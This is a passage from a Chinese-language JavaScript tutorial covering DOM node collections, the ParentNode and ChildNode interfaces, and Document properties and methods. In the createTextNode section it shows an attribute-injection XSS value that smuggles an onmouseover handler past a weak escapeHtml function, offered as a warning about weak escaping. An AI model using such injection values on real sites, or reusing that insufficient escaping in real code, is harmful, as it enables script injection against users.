// true

该方法可用于document节点自身,这一点与document.ownerDocument不同。

1
2
document.getRootNode() // document
document.ownerDocument // null

NodeList 接口,HTMLCollection 接口

节点都是单个对象,有时需要一种数据结构,能够容纳多个节点。DOM 提供两种节点集合,用于容纳多个节点:NodeListHTMLCollection

这两种集合都属于接口规范。许多 DOM 属性和方法,返回的结果是NodeList实例或HTMLCollection实例。主要区别是,NodeList可以包含各种类型的节点,HTMLCollection只能包含 HTML 元素节点。

NodeList 接口

概述

NodeList实例是一个类似数组的对象,它的成员是节点对象。通过以下方法可以得到NodeList实例。

  • Node.childNodes
  • document.querySelectorAll()等节点搜索方法
1
document.body.childNodes instanceof NodeList // true

NodeList实例很像数组,可以使用length属性和forEach方法。但是,它不是数组,不能使用poppush之类数组特有的方法。

1
2
3
4
5
6
var children = document.body.childNodes;

Array.isArray(children) // false

children.length // 34
children.forEach(console.log)

上面代码中,NodeList 实例children不是数组,但是具有length属性和forEach方法。

如果NodeList实例要使用数组方法,可以将其转为真正的数组。

1
2
var children = document.body.childNodes;
var nodeArr = Array.prototype.slice.call(children);

除了使用forEach方法遍历 NodeList 实例,还可以使用for循环。

1
2
3
4
5
var children = document.body.childNodes;

for (var i = 0; i < children.length; i++) {
var item = children[i];
}

注意,NodeList 实例可能是动态集合,也可能是静态集合。所谓动态集合就是一个活的集合,DOM 删除或新增一个相关节点,都会立刻反映在 NodeList 实例。目前,只有Node.childNodes返回的是一个动态集合,其他的 NodeList 都是静态集合。

1
2
3
4
var children = document.body.childNodes;
children.length // 18
document.body.appendChild(document.createElement('p'));
children.length // 19

上面代码中,文档增加一个子节点,NodeList 实例childrenlength属性就增加了1。

NodeList.prototype.length

length属性返回 NodeList 实例包含的节点数量。

1
2
document.querySelectorAll('xxx').length
// 0

上面代码中,document.querySelectorAll返回一个 NodeList 集合。对于那些不存在的 HTML 标签,length属性返回0

NodeList.prototype.forEach()

forEach方法用于遍历 NodeList 的所有成员。它接受一个回调函数作为参数,每一轮遍历就执行一次这个回调函数,用法与数组实例的forEach方法完全一致。

1
2
3
4
var children = document.body.childNodes;
children.forEach(function f(item, i, list) {
// ...
}, this);

上面代码中,回调函数f的三个参数依次是当前成员、位置和当前 NodeList 实例。forEach方法的第二个参数,用于绑定回调函数内部的this,该参数可省略。

NodeList.prototype.item()

item方法接受一个整数值作为参数,表示成员的位置,返回该位置上的成员。

1
document.body.childNodes.item(0)

上面代码中,item(0)返回第一个成员。

如果参数值大于实际长度,或者索引不合法(比如负数),item方法返回null。如果省略参数,item方法会报错。

所有类似数组的对象,都可以使用方括号运算符取出成员。一般情况下,都是使用方括号运算符,而不使用item方法。

1
document.body.childNodes[0]

NodeList.prototype.keys(),NodeList.prototype.values(),NodeList.prototype.entries()

这三个方法都返回一个 ES6 的遍历器对象,可以通过for...of循环遍历获取每一个成员的信息。区别在于,keys()返回键名的遍历器,values()返回键值的遍历器,entries()返回的遍历器同时包含键名和键值的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
var children = document.body.childNodes;

for (var key of children.keys()) {
console.log(key);
}
// 0
// 1
// 2
// ...

for (var value of children.values()) {
console.log(value);
}
// #text
// <script>
// ...

for (var entry of children.entries()) {
console.log(entry);
}
// Array [ 0, #text ]
// Array [ 1, <script> ]
// ...

HTMLCollection 接口

概述

HTMLCollection是一个节点对象的集合,只能包含元素节点(element),不能包含其他类型的节点。它的返回值是一个类似数组的对象,但是与NodeList接口不同,HTMLCollection没有forEach方法,只能使用for循环遍历。

返回HTMLCollection实例的,主要是一些Document对象的集合属性,比如document.linksdocument.formsdocument.images等。

1
document.links instanceof HTMLCollection // true

HTMLCollection实例都是动态集合,节点的变化会实时反映在集合中。

如果元素节点有idname属性,那么HTMLCollection实例上面,可以使用id属性或name属性引用该节点元素。如果没有对应的节点,则返回null

1
2
3
4
5
// HTML 代码如下
// <img id="pic" src="http://example.com/foo.jpg">

var pic = document.getElementById('pic');
document.images.pic === pic // true

上面代码中,document.images是一个HTMLCollection实例,可以通过<img>元素的id属性值,从HTMLCollection实例上取到这个元素。

HTMLCollection.prototype.length

length属性返回HTMLCollection实例包含的成员数量。

1
document.links.length // 18

HTMLCollection.prototype.item()

item方法接受一个整数值作为参数,表示成员的位置,返回该位置上的成员。

1
2
var c = document.images;
var img0 = c.item(0);

上面代码中,item(0)表示返回0号位置的成员。由于方括号运算符也具有同样作用,而且使用更方便,所以一般情况下,总是使用方括号运算符。

如果参数值超出成员数量或者不合法(比如小于0),那么item方法返回null

HTMLCollection.prototype.namedItem()

namedItem方法的参数是一个字符串,表示id属性或name属性的值,返回对应的元素节点。如果没有对应的节点,则返回null

1
2
3
4
5
// HTML 代码如下
// <img id="pic" src="http://example.com/foo.jpg">

var pic = document.getElementById('pic');
document.images.namedItem('pic') === pic // true

ParentNode 接口,ChildNode 接口

节点对象除了继承 Node 接口以外,还会继承其他接口。ParentNode接口表示当前节点是一个父节点,提供一些处理子节点的方法。ChildNode接口表示当前节点是一个子节点,提供一些相关方法。

ParentNode 接口

如果当前节点是父节点,就会继承ParentNode接口。由于只有元素节点(element)、文档节点(document)和文档片段节点(documentFragment)拥有子节点,因此只有这三类节点会继承ParentNode接口。

ParentNode.children

children属性返回一个HTMLCollection实例,成员是当前节点的所有元素子节点。该属性只读。

下面是遍历某个节点的所有元素子节点的示例。

1
2
3
for (var i = 0; i < el.children.length; i++) {
// ...
}

注意,children属性只包括元素子节点,不包括其他类型的子节点(比如文本子节点)。如果没有元素类型的子节点,返回值HTMLCollection实例的length属性为0

另外,HTMLCollection是动态集合,会实时反映 DOM 的任何变化。

ParentNode.firstElementChild

firstElementChild属性返回当前节点的第一个元素子节点。如果没有任何元素子节点,则返回null

1
2
document.firstElementChild.nodeName
// "HTML"

上面代码中,document节点的第一个元素子节点是<HTML>

ParentNode.lastElementChild

lastElementChild属性返回当前节点的最后一个元素子节点,如果不存在任何元素子节点,则返回null

1
2
document.lastElementChild.nodeName
// "HTML"

上面代码中,document节点的最后一个元素子节点是<HTML>(因为document只包含这一个元素子节点)。

ParentNode.childElementCount

childElementCount属性返回一个整数,表示当前节点的所有元素子节点的数目。如果不包含任何元素子节点,则返回0

1
document.body.childElementCount // 13

ParentNode.append(),ParentNode.prepend()

append方法为当前节点追加一个或多个子节点,位置是最后一个元素子节点的后面。

该方法不仅可以添加元素子节点,还可以添加文本子节点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var parent = document.body;

// 添加元素子节点
var p = document.createElement('p');
parent.append(p);

// 添加文本子节点
parent.append('Hello');

// 添加多个元素子节点
var p1 = document.createElement('p');
var p2 = document.createElement('p');
parent.append(p1, p2);

// 添加元素子节点和文本子节点
var p = document.createElement('p');
parent.append('Hello', p);

注意,该方法没有返回值。

prepend方法为当前节点追加一个或多个子节点,位置是第一个元素子节点的前面。它的用法与append方法完全一致,也是没有返回值。

ChildNode 接口

如果一个节点有父节点,那么该节点就继承了ChildNode接口。

ChildNode.remove()

remove方法用于从父节点移除当前节点。

1
el.remove()

上面代码在 DOM 里面移除了el节点。

ChildNode.before(),ChildNode.after()

before方法用于在当前节点的前面,插入一个或多个同级节点。两者拥有相同的父节点。

注意,该方法不仅可以插入元素节点,还可以插入文本节点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var p = document.createElement('p');
var p1 = document.createElement('p');

// 插入元素节点
el.before(p);

// 插入文本节点
el.before('Hello');

// 插入多个元素节点
el.before(p, p1);

// 插入元素节点和文本节点
el.before(p, 'Hello');

after方法用于在当前节点的后面,插入一个或多个同级节点,两者拥有相同的父节点。用法与before方法完全相同。

ChildNode.replaceWith()

replaceWith方法使用参数节点,替换当前节点。参数可以是元素节点,也可以是文本节点。

1
2
var span = document.createElement('span');
el.replaceWith(span);

上面代码中,el节点将被span节点替换。

Document 节点

概述

document节点对象代表整个文档,每张网页都有自己的document对象。window.document属性就指向这个对象。只要浏览器开始载入 HTML 文档,该对象就存在了,可以直接使用。

document对象有不同的办法可以获取。

  • 正常的网页,直接使用documentwindow.document
  • iframe框架里面的网页,使用iframe节点的contentDocument属性。
  • Ajax 操作返回的文档,使用XMLHttpRequest对象的responseXML属性。
  • 内部节点的ownerDocument属性。

document对象继承了EventTarget接口、Node接口、ParentNode接口。这意味着,这些接口的方法都可以在document对象上调用。除此之外,document对象还有很多自己的属性和方法。

属性

快捷方式属性

以下属性是指向文档内部的某个节点的快捷方式。

(1)document.defaultView

document.defaultView属性返回document对象所属的window对象。如果当前文档不属于window对象,该属性返回null

1
document.defaultView === window // true

(2)document.doctype

对于 HTML 文档来说,document对象一般有两个子节点。第一个子节点是document.doctype,指向<DOCTYPE>节点,即文档类型(Document Type Declaration,简写DTD)节点。HTML 的文档类型节点,一般写成<!DOCTYPE html>。如果网页没有声明 DTD,该属性返回null

1
2
3
var doctype = document.doctype;
doctype // "<!DOCTYPE html>"
doctype.name // "html"

document.firstChild通常就返回这个节点。

(3)document.documentElement

document.documentElement属性返回当前文档的根元素节点(root)。它通常是document节点的第二个子节点,紧跟在document.doctype节点后面。HTML网页的该属性,一般是<html>节点。

(4)document.body,document.head

document.body属性指向<body>节点,document.head属性指向<head>节点。

这两个属性总是存在的,如果网页源码里面省略了<head><body>,浏览器会自动创建。另外,这两个属性是可写的,如果改写它们的值,相当于移除所有子节点。

(5)document.scrollingElement

document.scrollingElement属性返回文档的滚动元素。也就是说,当文档整体滚动时,到底是哪个元素在滚动。

标准模式下,这个属性返回的文档的根元素document.documentElement(即<html>)。兼容(quirk)模式下,返回的是<body>元素,如果该元素不存在,返回null

1
2
// 页面滚动到浏览器顶部
document.scrollingElement.scrollTop = 0;

(6)document.activeElement

document.activeElement属性返回获得当前焦点(focus)的 DOM 元素。通常,这个属性返回的是<input><textarea><select>等表单元素,如果当前没有焦点元素,返回<body>元素或null

(7)document.fullscreenElement

document.fullscreenElement属性返回当前以全屏状态展示的 DOM 元素。如果不是全屏状态,该属性返回null

1
2
3
if (document.fullscreenElement.nodeName == 'VIDEO') {
console.log('全屏播放视频');
}

上面代码中,通过document.fullscreenElement可以知道<video>元素有没有处在全屏状态,从而判断用户行为。

节点集合属性

以下属性返回一个HTMLCollection实例,表示文档内部特定元素的集合。这些集合都是动态的,原节点有任何变化,立刻会反映在集合中。

(1)document.links

document.links属性返回当前文档所有设定了href属性的<a><area>节点。

1
2
3
4
5
// 打印文档所有的链接
var links = document.links;
for(var i = 0; i < links.length; i++) {
console.log(links[i]);
}

(2)document.forms

document.forms属性返回所有<form>表单节点。

1
var selectForm = document.forms[0];

上面代码获取文档第一个表单。

除了使用位置序号,id属性和name属性也可以用来引用表单。

1
2
3
4
5
/* HTML 代码如下
<form name="foo" id="bar"></form>
*/
document.forms[0] === document.forms.foo // true
document.forms.bar === document.forms.foo // true

(3)document.images

document.images属性返回页面所有<img>图片节点。

1
2
3
4
5
6
7
var imglist = document.images;

for(var i = 0; i < imglist.length; i++) {
if (imglist[i].src === 'banner.gif') {
// ...
}
}

上面代码在所有img标签中,寻找某张图片。

(4)document.embeds,document.plugins

document.embeds属性和document.plugins属性,都返回所有<embed>节点。

(5)document.scripts

document.scripts属性返回所有<script>节点。

1
2
3
4
var scripts = document.scripts;
if (scripts.length !== 0 ) {
console.log('当前网页有脚本');
}

(6)document.styleSheets

document.styleSheets属性返回文档内嵌或引入的样式表集合,详细介绍请看《CSS 对象模型》一章。

(7)小结

除了document.styleSheets,以上的集合属性返回的都是HTMLCollection实例。

1
2
3
4
5
document.links instanceof HTMLCollection // true
document.images instanceof HTMLCollection // true
document.forms instanceof HTMLCollection // true
document.embeds instanceof HTMLCollection // true
document.scripts instanceof HTMLCollection // true

HTMLCollection实例是类似数组的对象,所以这些属性都有length属性,都可以使用方括号运算符引用成员。如果成员有idname属性,还可以用这两个属性的值,在HTMLCollection实例上引用到这个成员。

1
2
3
// HTML 代码如下
// <form name="myForm">
document.myForm === document.forms.myForm // true

文档静态信息属性

以下属性返回文档信息。

(1)document.documentURI,document.URL

document.documentURI属性和document.URL属性都返回一个字符串,表示当前文档的网址。不同之处是它们继承自不同的接口,documentURI继承自Document接口,可用于所有文档;URL继承自HTMLDocument接口,只能用于 HTML 文档。

1
2
3
4
5
document.URL
// http://www.example.com/about

document.documentURI === document.URL
// true

如果文档的锚点(#anchor)变化,这两个属性都会跟着变化。

(2)document.domain

document.domain属性返回当前文档的域名,不包含协议和端口。比如,网页的网址是http://www.example.com:80/hello.html,那么document.domain属性就等于www.example.com。如果无法获取域名,该属性返回null

document.domain基本上是一个只读属性,只有一种情况除外。次级域名的网页,可以把document.domain设为对应的上级域名。比如,当前域名是a.sub.example.com,则document.domain属性可以设置为sub.example.com,也可以设为example.com。修改后,document.domain相同的两个网页,可以读取对方的资源,比如设置的 Cookie。

另外,设置document.domain会导致端口被改成null。因此,如果通过设置document.domain来进行通信,双方网页都必须设置这个值,才能保证端口相同。

(3)document.location

Location对象是浏览器提供的原生对象,提供 URL 相关的信息和操作方法。通过window.locationdocument.location属性,可以拿到这个对象。

关于这个对象的详细介绍,请看《浏览器模型》部分的《Location 对象》章节。

(4)document.lastModified

document.lastModified属性返回一个字符串,表示当前文档最后修改的时间。不同浏览器的返回值,日期格式是不一样的。

1
2
document.lastModified
// "03/07/2018 11:18:27"

注意,document.lastModified属性的值是字符串,所以不能直接用来比较。Date.parse方法将其转为Date实例,才能比较两个网页。

1
2
3
4
var lastVisitedDate = Date.parse('01/01/2018');
if (Date.parse(document.lastModified) > lastVisitedDate) {
console.log('网页已经变更');
}

如果页面上有 JavaScript 生成的内容,document.lastModified属性返回的总是当前时间。

(5)document.title

document.title属性返回当前文档的标题。默认情况下,返回<title>节点的值。但是该属性是可写的,一旦被修改,就返回修改后的值。

1
2
document.title = '新标题';
document.title // "新标题"

(6)document.characterSet

document.characterSet属性返回当前文档的编码,比如UTF-8ISO-8859-1等等。

(7)document.referrer

document.referrer属性返回一个字符串,表示当前文档的访问者来自哪里。

1
2
document.referrer
// "https://example.com/path"

如果无法获取来源,或者用户直接键入网址而不是从其他网页点击进入,document.referrer返回一个空字符串。

document.referrer的值,总是与 HTTP 头信息的Referer字段保持一致。但是,document.referrer的拼写有两个r,而头信息的Referer字段只有一个r

(8)document.dir

document.dir返回一个字符串,表示文字方向。它只有两个可能的值:rtl表示文字从右到左,阿拉伯文是这种方式;ltr表示文字从左到右,包括英语和汉语在内的大多数文字采用这种方式。

(9)document.compatMode

compatMode属性返回浏览器处理文档的模式,可能的值为BackCompat(向后兼容模式)和CSS1Compat(严格模式)。

一般来说,如果网页代码的第一行设置了明确的DOCTYPE(比如<!doctype html>),document.compatMode的值都为CSS1Compat

文档状态属性

(1)document.hidden

document.hidden属性返回一个布尔值,表示当前页面是否可见。如果窗口最小化、浏览器切换了 Tab,都会导致导致页面不可见,使得document.hidden返回true

这个属性是 Page Visibility API 引入的,一般都是配合这个 API 使用。

(2)document.visibilityState

document.visibilityState返回文档的可见状态。

它的值有四种可能。

  • visible:页面可见。注意,页面可能是部分可见,即不是焦点窗口,前面被其他窗口部分挡住了。
  • hidden:页面不可见,有可能窗口最小化,或者浏览器切换到了另一个 Tab。
  • prerender:页面处于正在渲染状态,对于用户来说,该页面不可见。
  • unloaded:页面从内存里面卸载了。

这个属性可以用在页面加载时,防止加载某些资源;或者页面不可见时,停掉一些页面功能。

(3)document.readyState

document.readyState属性返回当前文档的状态,共有三种可能的值。

  • loading:加载 HTML 代码阶段(尚未完成解析)
  • interactive:加载外部资源阶段
  • complete:加载完成

这个属性变化的过程如下。

  1. 浏览器开始解析 HTML 文档,document.readyState属性等于loading
  2. 浏览器遇到 HTML 文档中的<script>元素,并且没有asyncdefer属性,就暂停解析,开始执行脚本,这时document.readyState属性还是等于loading
  3. HTML 文档解析完成,document.readyState属性变成interactive
  4. 浏览器等待图片、样式表、字体文件等外部资源加载完成,一旦全部加载完成,document.readyState属性变成complete

下面的代码用来检查网页是否加载成功。

1
2
3
4
5
6
7
8
9
10
11
12
// 基本检查
if (document.readyState === 'complete') {
// ...
}

// 轮询检查
var interval = setInterval(function() {
if (document.readyState === 'complete') {
clearInterval(interval);
// ...
}
}, 100);

另外,每次状态变化都会触发一个readystatechange事件。

document.cookie

document.cookie属性用来操作浏览器 Cookie,详见《浏览器模型》部分的《Cookie》章节。

document.designMode

document.designMode属性控制当前文档是否可编辑。该属性只有两个值onoff,默认值为off。一旦设为on,用户就可以编辑整个文档的内容。

下面代码打开iframe元素内部文档的designMode属性,就能将其变为一个所见即所得的编辑器。

1
2
3
4
// HTML 代码如下
// <iframe id="editor" src="about:blank"></iframe>
var editor = document.getElementById('editor');
editor.contentDocument.designMode = 'on';

document.implementation

document.implementation属性返回一个DOMImplementation对象。该对象有三个方法,主要用于创建独立于当前文档的新的 Document 对象。

  • DOMImplementation.createDocument():创建一个 XML 文档。
  • DOMImplementation.createHTMLDocument():创建一个 HTML 文档。
  • DOMImplementation.createDocumentType():创建一个 DocumentType 对象。

下面是创建 HTML 文档的例子。

1
2
3
4
5
6
7
8
9
var doc = document.implementation.createHTMLDocument('Title');
var p = doc.createElement('p');
p.innerHTML = 'hello world';
doc.body.appendChild(p);

document.replaceChild(
doc.documentElement,
document.documentElement
);

上面代码中,第一步生成一个新的 HTML 文档doc,然后用它的根元素document.documentElement替换掉document.documentElement。这会使得当前文档的内容全部消失,变成hello world

方法

document.open(),document.close()

document.open方法清除当前文档所有内容,使得文档处于可写状态,供document.write方法写入内容。

document.close方法用来关闭document.open()打开的文档。

1
2
3
document.open();
document.write('hello world');
document.close();

document.write(),document.writeln()

document.write方法用于向当前文档写入内容。

在网页的首次渲染阶段,只要页面没有关闭写入(即没有执行document.close()),document.write写入的内容就会追加在已有内容的后面。

1
2
3
4
5
// 页面显示“helloworld”
document.open();
document.write('hello');
document.write('world');
document.close();

注意,document.write会当作 HTML 代码解析,不会转义。

1
document.write('<p>hello world</p>');

上面代码中,document.write会将<p>当作 HTML 标签解释。

如果页面已经解析完成(DOMContentLoaded事件发生之后),再调用write方法,它会先调用open方法,擦除当前文档所有内容,然后再写入。

1
2
3
4
5
6
7
8
9
10
document.addEventListener('DOMContentLoaded', function (event) {
document.write('<p>Hello World!</p>');
});

// 等同于
document.addEventListener('DOMContentLoaded', function (event) {
document.open();
document.write('<p>Hello World!</p>');
document.close();
});

如果在页面渲染过程中调用write方法,并不会自动调用open方法。(可以理解成,open方法已调用,但close方法还未调用。)

1
2
3
4
5
6
7
8
<html>
<body>
hello
<script type="text/javascript">
document.write("world")
</script>
</body>
</html>

在浏览器打开上面网页,将会显示hello world

document.write是 JavaScript 语言标准化之前就存在的方法,现在完全有更符合标准的方法向文档写入内容(比如对innerHTML属性赋值)。所以,除了某些特殊情况,应该尽量避免使用document.write这个方法。

document.writeln方法与write方法完全一致,除了会在输出内容的尾部添加换行符。

1
2
3
4
5
6
7
8
9
document.write(1);
document.write(2);
// 12

document.writeln(1);
document.writeln(2);
// 1
// 2
//

注意,writeln方法添加的是 ASCII 码的换行符,渲染成 HTML 网页时不起作用,即在网页上显示不出换行。网页上的换行,必须显式写入<br>

document.querySelector(),document.querySelectorAll()

document.querySelector方法接受一个 CSS 选择器作为参数,返回匹配该选择器的元素节点。如果有多个节点满足匹配条件,则返回第一个匹配的节点。如果没有发现匹配的节点,则返回null

1
2
var el1 = document.querySelector('.myclass');
var el2 = document.querySelector('#myParent > [ng-click]');

document.querySelectorAll方法与querySelector用法类似,区别是返回一个NodeList对象,包含所有匹配给定选择器的节点。

1
elementList = document.querySelectorAll('.myclass');

这两个方法的参数,可以是逗号分隔的多个 CSS 选择器,返回匹配其中一个选择器的元素节点,这与 CSS 选择器的规则是一致的。

1
var matches = document.querySelectorAll('div.note, div.alert');

上面代码返回class属性是notealertdiv元素。

这两个方法都支持复杂的 CSS 选择器。

1
2
3
4
5
6
7
8
9
10
11
// 选中 data-foo-bar 属性等于 someval 的元素
document.querySelectorAll('[data-foo-bar="someval"]');

// 选中 myForm 表单中所有不通过验证的元素
document.querySelectorAll('#myForm :invalid');

// 选中div元素,那些 class 含 ignore 的除外
document.querySelectorAll('DIV:not(.ignore)');

// 同时选中 div,a,script 三类元素
document.querySelectorAll('DIV, A, SCRIPT');

但是,它们不支持 CSS 伪元素的选择器(比如:first-line:first-letter)和伪类的选择器(比如:link:visited),即无法选中伪元素和伪类。

如果querySelectorAll方法的参数是字符串*,则会返回文档中的所有元素节点。另外,querySelectorAll的返回结果不是动态集合,不会实时反映元素节点的变化。

最后,这两个方法除了定义在document对象上,还定义在元素节点上,即在元素节点上也可以调用。

document.getElementsByTagName()

document.getElementsByTagName方法搜索 HTML 标签名,返回符合条件的元素。它的返回值是一个类似数组对象(HTMLCollection实例),可以实时反映 HTML 文档的变化。如果没有任何匹配的元素,就返回一个空集。

1
2
var paras = document.getElementsByTagName('p');
paras instanceof HTMLCollection // true

上面代码返回当前文档的所有p元素节点。

HTML 标签名是大小写不敏感的,因此getElementsByTagName方法也是大小写不敏感的。另外,返回结果中,各个成员的顺序就是它们在文档中出现的顺序。

如果传入*,就可以返回文档中所有 HTML 元素。

1
var allElements = document.getElementsByTagName('*');

注意,元素节点本身也定义了getElementsByTagName方法,返回该元素的后代元素中符合条件的元素。也就是说,这个方法不仅可以在document对象上调用,也可以在任何元素节点上调用。

1
2
var firstPara = document.getElementsByTagName('p')[0];
var spans = firstPara.getElementsByTagName('span');

上面代码选中第一个p元素内部的所有span元素。

document.getElementsByClassName()

document.getElementsByClassName方法返回一个类似数组的对象(HTMLCollection实例),包括了所有class名字符合指定条件的元素,元素的变化实时反映在返回结果中。

1
var elements = document.getElementsByClassName(names);

由于class是保留字,所以 JavaScript 一律使用className表示 CSS 的class

参数可以是多个class,它们之间使用空格分隔。

1
var elements = document.getElementsByClassName('foo bar');

上面代码返回同时具有foobar两个class的元素,foobar的顺序不重要。

注意,正常模式下,CSS 的class是大小写敏感的。(quirks mode下,大小写不敏感。)

getElementsByTagName方法一样,getElementsByClassName方法不仅可以在document对象上调用,也可以在任何元素节点上调用。

1
2
// 非document对象上调用
var elements = rootElement.getElementsByClassName(names);

document.getElementsByName()

document.getElementsByName方法用于选择拥有name属性的 HTML 元素(比如<form><radio><img><frame><embed><object>等),返回一个类似数组的的对象(NodeList实例),因为name属性相同的元素可能不止一个。

1
2
3
// 表单为 <form name="x"></form>
var forms = document.getElementsByName('x');
forms[0].tagName // "FORM"

document.getElementById()

document.getElementById方法返回匹配指定id属性的元素节点。如果没有发现匹配的节点,则返回null

1
var elem = document.getElementById('para1');

注意,该方法的参数是大小写敏感的。比如,如果某个节点的id属性是main,那么document.getElementById('Main')将返回null

document.getElementById方法与document.querySelector方法都能获取元素节点,不同之处是document.querySelector方法的参数使用 CSS 选择器语法,document.getElementById方法的参数是元素的id属性。

1
2
document.getElementById('myElement')
document.querySelector('#myElement')

上面代码中,两个方法都能选中idmyElement的元素,但是document.getElementById()document.querySelector()效率高得多。

另外,这个方法只能在document对象上使用,不能在其他元素节点上使用。

document.elementFromPoint(),document.elementsFromPoint()

document.elementFromPoint方法返回位于页面指定位置最上层的元素节点。

1
var element = document.elementFromPoint(50, 50);

上面代码选中在(50, 50)这个坐标位置的最上层的那个 HTML 元素。

elementFromPoint方法的两个参数,依次是相对于当前视口左上角的横坐标和纵坐标,单位是像素。如果位于该位置的 HTML 元素不可返回(比如文本框的滚动条),则返回它的父元素(比如文本框)。如果坐标值无意义(比如负值或超过视口大小),则返回null

document.elementsFromPoint()返回一个数组,成员是位于指定坐标(相对于视口)的所有元素。

1
var elements = document.elementsFromPoint(x, y);

document.caretPositionFromPoint()

document.caretPositionFromPoint()返回一个 CaretPosition 对象,包含了指定坐标点在节点对象内部的位置信息。CaretPosition 对象就是光标插入点的概念,用于确定光标点在文本对象内部的具体位置。

1
var range = document.caretPositionFromPoint(clientX, clientY);

上面代码中,range是指定坐标点的 CaretPosition 对象。该对象有两个属性。

  • CaretPosition.offsetNode:该位置的节点对象
  • CaretPosition.offset:该位置在offsetNode对象内部,与起始位置相距的字符数。

document.createElement()

document.createElement方法用来生成元素节点,并返回该节点。

1
var newDiv = document.createElement('div');

createElement方法的参数为元素的标签名,即元素节点的tagName属性,对于 HTML 网页大小写不敏感,即参数为divDIV返回的是同一种节点。如果参数里面包含尖括号(即<>)会报错。

1
2
document.createElement('<div>');
// DOMException: The tag name provided ('<div>') is not a valid name

注意,document.createElement的参数可以是自定义的标签名。

1
document.createElement('foo');

document.createTextNode()

document.createTextNode方法用来生成文本节点(Text实例),并返回该节点。它的参数是文本节点的内容。

1
2
3
var newDiv = document.createElement('div');
var newContent = document.createTextNode('Hello');
newDiv.appendChild(newContent);

上面代码新建一个div节点和一个文本节点,然后将文本节点插入div节点。

这个方法可以确保返回的节点,被浏览器当作文本渲染,而不是当作 HTML 代码渲染。因此,可以用来展示用户的输入,避免 XSS 攻击。

1
2
3
4
var div = document.createElement('div');
div.appendChild(document.createTextNode('<span>Foo & bar</span>'));
console.log(div.innerHTML)
// &lt;span&gt;Foo &amp; bar&lt;/span&gt;

上面代码中,createTextNode方法对大于号和小于号进行转义,从而保证即使用户输入的内容包含恶意代码,也能正确显示。

需要注意的是,该方法不对单引号和双引号转义,所以不能用来对 HTML 属性赋值。

1
2
3
4
5
6
7
8
9
10
11
function escapeHtml(str) {
var div = document.createElement('div');
div.appendChild(document.createTextNode(str));
return div.innerHTML;
};

var userWebsite = '" onmouseover="alert(\'derp\')" "';
var profileLink = '<a href="' + escapeHtml(userWebsite) + '">Bob</a>';
var div = document.getElementById('target');
div.innerHTML = profileLink;
// <a href="" onmouseover="alert('derp')" "">Bob</a>

上面代码中,由于createTextNode方法不转义双引号,导致onmouseover方法被注入了代码。

document.createAttribute()

document.createAttribute方法生成一个新的属性节点(Attr实例),并返回它。

1
var attribute = document.createAttribute(name);

document.createAttribute方法的参数name,是属性的名称。

1
2
3
4
5
6
7
8
var node = document.getElementById('div1');

var a = document.createAttribute('my_attrib');
a.value = 'newVal';

node.setAttributeNode(a);
// 或者
node.setAttribute('my_attrib', 'newVal');

上面代码为div1节点,插入一个值为newValmy_attrib属性。

document.createComment()

document.createComment方法生成一个新的注释节点,并返回该节点。

1
var CommentNode = document.createComment(data);

document.createComment方法的参数是一个字符串,会成为注释节点的内容。

document.createDocumentFragment()

document.createDocumentFragment方法生成一个空的文档片段对象(DocumentFragment实例)。

1
var docFragment = document.createDocumentFragment();

DocumentFragment是一个存在于内存的 DOM 片段,不属于当前文档,常常用来生成一段较复杂的 DOM 结构,然后再插入当前文档。这样做的好处在于,因为DocumentFragment不属于当前文档,对它的任何改动,都不会引发网页的重新渲染,比直接修改当前文档的 DOM 有更好的性能表现。

1
2
3
4
5
6
7
8
9
10
var docfrag = document.createDocumentFragment();

[1, 2, 3, 4].forEach(function (e) {
var li = document.createElement('li');
li.textContent = e;
docfrag.appendChild(li);
});

var element = document.getElementById('ul');
element.appendChild(docfrag);

上面代码中,文档片断docfrag包含四个<li>节点,这些子节点被一次性插入了当前文档。

document.createEvent()

document.createEvent方法生成一个事件对象(Event实例),该对象可以被element.dispatchEvent方法使用,触发指定事件。

1
var event = document.createEvent(type);

document.createEvent方法的参数是事件类型,比如UIEventsMouseEventsMutationEventsHTMLEvents

1
2
3
4
5
6
var event = document.createEvent('Event');
event.initEvent('build', true, true);
document.addEventListener('build', function (e) {
console.log(e.type); // "build"
}, false);
document.dispatchEvent(event);

上面代码新建了一个名为build的事件实例,然后触发该事件。

document.addEventListener(),document.removeEventListener(),document.dispatchEvent()

这三个方法用于处理document节点的事件。它们都继承自EventTarget接口,详细介绍参见《EventTarget 接口》一章。

1
2
3
4
5
6
7
8
9
// 添加事件监听函数
document.addEventListener('click', listener, false);

// 移除事件监听函数
document.removeEventListener('click', listener, false);

// 触发事件
var event = new Event('click');
document.dispatchEvent(event);

document.hasFocus()

document.hasFocus方法返回一个布尔值,表示当前文档之中是否有元素被激活或获得焦点。

1
var focused = document.hasFocus();

注意,有焦点的文档必定被激活(active),反之不成立,激活的文档未必有焦点。比如,用户点击按钮,从当前窗口跳出一个新窗口,该新窗口就是激活的,但是不拥有焦点。

document.adoptNode(),document.importNode()

document.adoptNode方法将某个节点及其子节点,从原来所在的文档或DocumentFragment里面移除,归属当前document对象,返回插入后的新节点。插入的节点对象的ownerDocument属性,会变成当前的document对象,而parentNode属性是null

1
2
var node = document.adoptNode(externalNode);
document.appendChild(node);

注意,document.adoptNode方法只是改变了节点的归属,并没有将这个节点插入新的文档树。所以,还要再用appendChild方法或insertBefore方法,将新节点插入当前文档树。

document.importNode方法则是从原来所在的文档或DocumentFragment里面,拷贝某个节点及其子节点,让它们归属当前document对象。拷贝的节点对象的ownerDocument属性,会变成当前的document对象,而parentNode属性是null

1
var node = document.importNode(externalNode, deep);

document.importNode方法的第一个参数是外部节点,第二个参数是一个布尔值,表示对外部节点是深拷贝还是浅拷贝,默认是浅拷贝(false)。虽然第二个参数是可选的,但是建议总是保留这个参数,并设为true

注意,document.importNode方法只是拷贝外部节点,这时该节点的父节点是null。下一步还必须将这个节点插入当前文档树。

1
2
3
4
var iframe = document.getElementsByTagName('iframe')[0];
var oldNode = iframe.contentWindow.document.getElementById('myNode');
var newNode = document.importNode(oldNode, true);
document.getElementById("container").appendChild(newNode);

上面代码从iframe窗口,拷贝一个指定节点myNode,插入当前文档。

document.createNodeIterator()

document.createNodeIterator方法返回一个子节点遍历器。

1
2
3
4
var nodeIterator = document.createNodeIterator(
document.body,
NodeFilter.SHOW_ELEMENT
);

上面代码返回<body>元素子节点的遍历器。

